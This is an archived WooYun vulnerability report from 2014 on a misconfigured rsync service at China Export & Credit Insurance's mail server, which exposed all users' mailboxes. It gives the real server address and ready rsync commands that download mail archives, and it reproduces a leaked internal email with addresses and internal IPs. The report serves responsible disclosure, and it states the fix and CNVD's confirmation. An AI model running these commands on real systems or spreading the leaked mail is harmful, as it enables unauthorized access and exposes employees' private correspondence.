乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-04-22: 细节已通知厂商并且等待厂商处理中 2014-04-27: 厂商已经确认,细节仅向厂商公开 2014-05-07: 细节向核心白帽子及相关领域专家公开 2014-05-17: 细节向普通白帽子公开 2014-05-27: 细节向实习白帽子公开 2014-06-06: 细节向公众公开
中国出口信用保险公司,简称中国信保。无意间发现该公司内部邮件系统配置不当导致信息泄露,可查看任意用户所有邮件。
邮件服务器(202.108.86.210) rsync 配置不当,导致外部可直接访问。可以直接列出modules:
#/bin/bash>rsync 202.108.86.210::0123456789abcdefeyoueyouimemdgopt
所有module都无需密码访问,也未绑定ip,0到f的module中储存了所有用户的邮件存档,可任意下载。另外可以通过Index文件夹访问收件箱、发件箱索引文件。
rsync 202.108.86.210::0/9/[email protected]/Index/Inbox/.index .
rsync 202.108.86.210::0/9/[email protected]/Mail/
看其中最新的一个邮件记录(2014.4.21):
Received: from unknown127.0.0.1 (HELO eyou.net) (127.0.0.1) by 127.0.0.1 with SMTP; Mon, 21 Apr 2014 18:23:00 +0800X-EYOU-SPAMVALUE:0X-EMDG-ORIGINAL-FROM:<[email protected]>X-EMDG-ORIGINAL-TO:<[email protected]>X-EMDG-ORIGINAL-IP:10.4.1.159X-EMDG-VER:4.1.0Received: (eyou anti_spam gateway 4.1.0); Mon, 21 Apr 2014 18:22:58 +0800Message-ID: <[email protected]>X-EMDG-SMTPAUTH: [email protected]Received: from 10.4.1.159 by 10.1.96.28 with SMTP; Mon, 21 Apr 2014 18:22:58 +0800Date: Mon, 21 Apr 2014 18:23:24 +0800From: wangjing <[email protected]>To: =?GB2312?B?wO7D986w?= <[email protected]>, =?GB2312?B?1KrOsMa7?= <[email protected]>, =?GB2312?B?0e69qLuq?= <[email protected]>, =?GB2312?B?tN69qMHW?= <[email protected]>, =?GB2312?B?wOjJr968?= <[email protected]>Subject: =?GB2312?B?16q3ojog16q3ojogobbQ0NK1t+fP1dSkvq/Qxc+iobe12jbG2i1MTke0rMrQs6GhsLnVteOhsbW9wLSjrLSstqu/ycTcw+bB2cbGsvq358/V?=Disposition-Notification-To: wangjing <[email protected]>X-Priority: 3X-Has-Attach: yesX-Mailer: Foxmail 7, 1, 3, 52[cn]Mime-Version: 1.0Message-ID: <[email protected]>Content-Type: multipart/mixed; boundary="----=_001_NextPart061445766303_=----"This is a multi-part message in MIME format.------=_001_NextPart061445766303_=----Content-Type: multipart/related; boundary="----=_002_NextPart636570623135_=----"------=_002_NextPart636570623135_=----Content-Type: multipart/alternative; boundary="----=_003_NextPart651100408022_=----"------=_003_NextPart651100408022_=----Content-Type: text/plain; charset="GB2312"Content-Transfer-Encoding: base64DQoNCg0KDQoNCs31vrQNCtbQufqz9r/a0MXTw7Gjz9W5q8u+DQrM7L3yt9a5q8u+z+7Ev8/VudzA7bSmDQpJUKO6NjAyOA0KDQq3orz+yMujuiDM7L3yDQq3osvNyrG85KO6IDIwMTQtMDQtMjEgMTc6MDANCsrVvP7Iy6O6INHW19w7IMqv19w7INXF19w7INH00KGzyTsgzfW+tDsgt+vB1jsgwfW0pjsgy++0pjsg1dTR0jsg1dTOsDsgs6O0pjsgwfW66bijDQrW98zio7og16q3ojogobbQ0NK1t+fP1dSkvq/Qxc+iobe12jbG2i1MTke0rMrQs6GhsLnVteOhsbW9wLSjrLSstqu/ycTcw+bB2cbGsvq358/VDQq+tMfrss7UxA0KDQoNCg0KDQrW0Ln6s/a/2tDF08Oxo8/VuavLvszsvfK31rmry74NCg0Kt6K8/sjLo7og18rQxcbAucDW0NDEDQq3osvNyrG85KO6IDIwMTQtMDQtMjEgMTY6MjQNCsrVvP7Iy6O6ILXa0rvTqtK1sr87ILXatv7TqtK1sr87ILXayP3TqtK1sr87IMzsvfK31rmry747ILrTsbG31rmry747IMm9zve31rmry747IMHJxP631rmry747IMnPuqO31rmry747IL2ty9W31rmry747INXjva231rmry747IMT+sqi31rmry747ILCyu9W31rmry747IM/Dw8W31rmry747IMm9tqu31rmry747ILrTxM+31rmry747ILnjtqu31rmry747IMnu29q31rmry747IMvEtKi31rmry747INTGxM+31rmry747IMnCzve31rmry747ILn+tvux9dOq0rW53MDtsr87IMTPsv3TqtK1udzA7bK/OyDO5Lq606rStbncwO2yvzsgs6TJs9Oq0rW53MDtsr87IMTPxP7TqtK1udzA7bK/OyDW2Mfs06rStbncwO2yvzsg0MK9rteoz+6w7DsgxNrDybnF16jP7rDsOyC3otW51b3C1LK/OyDP7sS/z9W53MDtsr87IMOz0tfP1bncwO2yvzsgz+7Ev8/VytCzob+qt6Kyvzsgz+7Ev8/Vs9Cxo7K/OyCz9r/aw7PS18/Vs9Cxo7K/OyCz9r/azNjP1bPQsaOyvzsgufrE2tDF08Oxo8/Vs9Cxo7K/OyC1o7Gj0rXO8bK/OyDA7cXi17ezpbK/OyC/zbunt/7O8bK/OyDXyrL6udzA7bK/OyC5+rHw0dC+v9bQ0MQ7ILfnz9W53MDtsr8NCrOty82juiDN9c6w19w7IM310+7X3DsgsKzX3Dsgw7fV8LrGOyDL1c6w0N47IM31uKO88zsg1KzTwjsgs8K41Tsg1dTTsDsgtsW9qDsgt7a66rrGOyB3YW5neGwNCtb3zOKjuiChttDQ0rW358/V1KS+r9DFz6Kht7XaNsbaLUxOR7SsytCzoaGwudW146Gxtb3AtKOstKy2q7/JxNzD5sHZxsay+rfnz9UNCiANCiAgDQoNCrj3sr/DxaO6DQoNCiAgICDH69TEztLW0NDEobbQ0NK1t+fP1dSkvq/Qxc+iobe12jbG2i1MTke0rMrQs6GhsLnVteOhsbW9wLSjrLSstqu/ycTcw+bB2cbGsvq358/VoaMgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDXytDF1tDQxA0KDQogDQog------=_003_NextPart651100408022_=----Content-Type: text/html;.........
base64解密邮件主题:
rsyncd.conf list=no设置访问密码
危害等级:高
漏洞Rank:15
确认时间:2014-04-27 08:31
CNVD确认并复现所述情况,已经转由CNCERT向保险行业信息化主管部门(保监会信息中心)通报处置。涉及信息泄露风险,rank 15
暂无